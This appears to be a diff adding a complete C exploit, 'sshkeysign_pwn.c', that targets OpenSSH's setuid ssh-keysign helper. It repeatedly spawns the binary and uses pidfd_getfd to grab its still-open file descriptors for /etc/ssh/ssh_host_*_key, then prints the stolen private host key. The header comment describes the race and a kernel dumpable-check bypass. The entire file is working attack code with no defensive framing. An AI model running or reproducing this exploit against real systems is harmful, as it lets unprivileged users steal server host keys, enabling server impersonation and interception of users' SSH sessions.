ssh-keysign-pwn

sshkeysign_pwn.c

@@ -0,0 +1,98 @@
+/*
+ * "It is a fearful thing to fall into the hands of the living God."
+ *                                                — Hebrews 10:31
+ *
+ * ssh-keysign opens /etc/ssh/ssh_host_*_key before permanently_set_uid().
+ * Bails out with the fds still open on EnableSSHKeysign=no. Race the
+ * exit window with pidfd_getfd. mm-NULL bypasses the dumpable check
+ * (kernel/ptrace.c, patched 31e62c2ebbfd 2026-05-14).
+ */
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <signal.h>
+#include <sys/syscall.h>
+#include <sys/wait.h>
+
+#ifndef __NR_pidfd_open
+#define __NR_pidfd_open  434
+#endif
+#ifndef __NR_pidfd_getfd
+#define __NR_pidfd_getfd 438
+#endif
+
+static int pidfd_open(pid_t pid, unsigned f)
+{
+	return syscall(__NR_pidfd_open, pid, f);
+}
+
+static int pidfd_getfd(int pfd, int fd, unsigned f)
+{
+	return syscall(__NR_pidfd_getfd, pfd, fd, f);
+}
+
+static const char *PATHS[] = {
+	"/usr/libexec/ssh-keysign",
+	"/usr/libexec/openssh/ssh-keysign",
+	"/usr/lib/ssh/ssh-keysign",
+	"/usr/lib/openssh/ssh-keysign",
+	NULL,
+};
+
+int main(void)
+{
+	const char *bin = NULL;
+	for (int i = 0; PATHS[i]; i++)
+		if (access(PATHS[i], X_OK) == 0) { bin = PATHS[i]; break; }
+	if (!bin) { fprintf(stderr, "ssh-keysign not found\n"); return 1; }
+	fprintf(stderr, "uid=%d  target=%s\n", getuid(), bin);
+
+	for (int round = 0; round < 500; round++) {
+		pid_t c = fork();
+		if (c == 0) {
+			int dn = open("/dev/null", O_RDWR);
+			dup2(dn, 0); dup2(dn, 1); dup2(dn, 2);
+			execl(bin, "ssh-keysign", (char *)NULL);
+			_exit(127);
+		}
+
+		int pfd = pidfd_open(c, 0);
+		if (pfd < 0) { waitpid(c, NULL, 0); continue; }
+
+		int hit = 0;
+		for (int a = 0; a < 30000 && !hit; a++) {
+			for (int i = 3; i < 32; i++) {
+				int s = pidfd_getfd(pfd, i, 0);
+				if (s < 0) continue;
+
+				char p[256] = {0}, lk[64];
+				snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
+				ssize_t n = readlink(lk, p, sizeof(p) - 1);
+				if (n > 0) p[n] = 0;
+
+				if (strstr(p, "ssh_host_") && strstr(p, "_key")) {
+					fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
+					char buf[4096];
+					lseek(s, 0, SEEK_SET);
+					ssize_t k = read(s, buf, sizeof(buf) - 1);
+					if (k > 0) { buf[k] = 0; fputs(buf, stdout); }
+					close(s);
+					hit = 1;
+					break;
+				}
+				close(s);
+			}
+		}
+
+		close(pfd);
+		waitpid(c, NULL, 0);
+		if (hit) return 0;
+	}
+
+	fprintf(stderr, "no hit in 500 rounds\n");
+	return 1;
+}